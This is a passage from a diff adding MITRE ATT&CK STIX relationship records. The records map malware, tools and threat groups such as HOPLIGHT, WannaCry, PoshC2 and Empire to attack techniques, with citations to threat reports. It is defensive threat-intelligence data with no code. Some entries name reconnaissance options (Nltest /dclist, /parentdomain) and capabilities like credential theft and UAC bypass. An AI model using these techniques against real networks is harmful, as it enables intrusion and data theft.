"relationship--d0cc4ab9-e211-4824-af74-7d88699731a2", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed enumerating system drives and partitions.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.838Z", + "id": "relationship--536a0d57-9faf-4baa-83de-40c7aaafe28c", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:31:24.181Z", + "id": "relationship--35305a51-69ac-4fe2-b9e2-3c9a296e9f9b", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "source_name": "US-CERT HOPLIGHT Apr 2019", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:44:59.418Z", + "id": "relationship--1183ba83-a7c2-4d24-8da8-c23d16eb9e97", + "source_ref": "course-of-action--c4585911-6ecf-47b6-aa6b-a2bae30fd3f7", + "modified": "2019-09-26T16:23:59.924Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple proxy options that mask traffic between the malware and the remote operators.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T16:27:45.818Z", + "id": "relationship--321703ba-7871-46c0-837e-6a2e1dc5aba9", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.498Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple C2 channels in place in case one fails.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T16:27:45.836Z", + "id": "relationship--1708aa35-a362-429f-be06-82dc106dfeb4", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used its C2 channel to exfiltrate data.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T16:27:45.847Z", + "id": "relationship--7101e112-c694-498f-be15-c0790f5d8547", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.520Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate remote domain controllers using options such as /dclist and /dsgetdc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T16:28:49.902Z", + "id": "relationship--cb9f7bf4-a118-457c-95f8-512d84cf7be2", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "modified": "2019-04-22T19:06:17.471Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "source_name": "Nltest Manual", + "url": "https://ss64.com/nt/nltest.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate the parent domain of a local machine using /parentdomain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T16:39:52.907Z", + "id": "relationship--d969a8d8-189e-4315-81a4-c2244dfbd92c", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "modified": "2019-04-22T19:06:17.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "source_name": "Nltest Manual", + "url": "https://ss64.com/nt/nltest.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T18:46:48.083Z", + "id": "relationship--73f87c11-addb-4900-9180-f2b98a425365", + "source_ref": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8", + "modified": "2019-07-25T11:16:48.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can compress data with ZLIB prior to sending it back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T19:02:03.938Z", + "id": "relationship--35373a50-d85d-4ac5-94bc-5896b48ac5c6", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.489Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T19:54:48.640Z", + "id": "relationship--3ca496bf-41f9-4d0b-b36d-576f90db340e", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T13:54:51.514Z", + "id": "relationship--baa9ac7d-b1fd-4e31-b08a-58c84b39153e", + "source_ref": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6", + "modified": "2019-07-24T19:41:59.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T15:06:12.673Z", + "id": "relationship--d617132e-68a7-489a-887f-1c40b147ea62", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "modified": "2019-04-22T15:06:12.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T15:08:48.216Z", + "id": "relationship--a5aebe97-98cc-46a5-b3f9-1a0497bc72ba", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has renamed rar.exe to avoid detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T16:30:47.198Z", + "id": "relationship--f3b19f07-d8a9-4aca-a649-039024997a4f", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Twitter ItsReallyNick Platinum Masquerade", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update. Retrieved April 22, 2019.", + "url": "https://twitter.com/ItsReallyNick/status/1055321868641689600" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T18:35:20.097Z", + "id": "relationship--ac4e0574-879e-4155-84ed-5b2d8be0b603", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "A variant of [HOPLIGHT](https://attack.mitre.org/software/S0376) hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key SYSTEM\\CurrentControlSet\\Control\\Lsa Name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T19:39:48.825Z", + "id": "relationship--1c548d89-557e-4c48-9b71-8a761d94e77b", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.522Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T22:03:26.377Z", + "id": "relationship--ef08ec46-915e-4e19-8969-1cdc79a1de4f", + "source_ref": "course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628", + "modified": "2019-07-24T19:16:50.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can overwrite files with random data before deleting them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T22:28:28.598Z", + "id": "relationship--333bd465-8713-4918-b60d-6128c52cbf04", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T22:31:38.289Z", + "id": "relationship--5135ba35-04b7-4cfc-bc6c-03f63206e757", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can overwrite files indicated by the attacker before deleting them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-22T22:40:41.125Z", + "id": "relationship--f0c53ce3-a265-4da9-a553-c5f2faffa5b8", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.125Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for enumerating domain trusts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T12:36:16.778Z", + "id": "relationship--0cc7cd3a-629e-4f90-9fca-1dde823fa428", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) has modules for brute forcing local administrator and AD user accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T12:38:37.626Z", + "id": "relationship--8303719d-b2ed-4860-9af4-57b636c4f865", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.712Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) has modules for enumerating domain trusts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T12:38:37.637Z", + "id": "relationship--c8f79da7-cfd6-41fd-89d4-c015e7289b64", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.016Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:43:22.874Z", + "id": "relationship--13f5f3ac-e16b-4b7a-8b6d-6eaf129231e7", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.021Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for exploiting SMB via EternalBlue.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:43:22.898Z", + "id": "relationship--bd1282fe-7a81-432b-9ac7-f93fb8f8b33f", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.011Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for recursively parsing through files and directories to gather valid credit card numbers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:43:22.896Z", + "id": "relationship--45d6e0d0-5de1-4382-ae08-acf4f035a740", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can utilize multiple methods to bypass UAC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:43:22.921Z", + "id": "relationship--3657d3de-d279-47f0-ab54-68ca82f4536d", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.983Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:43:22.923Z", + "id": "relationship--5f8f4204-228c-49d3-8ec6-863b13038001", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.848Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules for local privilege escalation exploits such as CVE-2016-9192 and CVE-2016-0099.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:43:22.925Z", + "id": "relationship--248b1bfc-5f9a-4f2c-ad6c-556045d9e83b", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:48.957Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.", + "source_name": "GitHub PoshC2", + "url": "https://github.com/nettitude/PoshC2_Python" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can upload local files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T13:58:04.273Z", + "id": "relationship--14cc9d67-85e2-4aae-8f3b-4201a66b918f", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:54.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains multiple modules for injecting into processes, such as Invoke-PSInject.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T14:59:04.098Z", + "id": "relationship--95fac0e8-32e3-4854-b542-5eb897d76f2e", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "modified": "2019-09-16T17:23:49.001Z", + "object_marking_refs": [ + 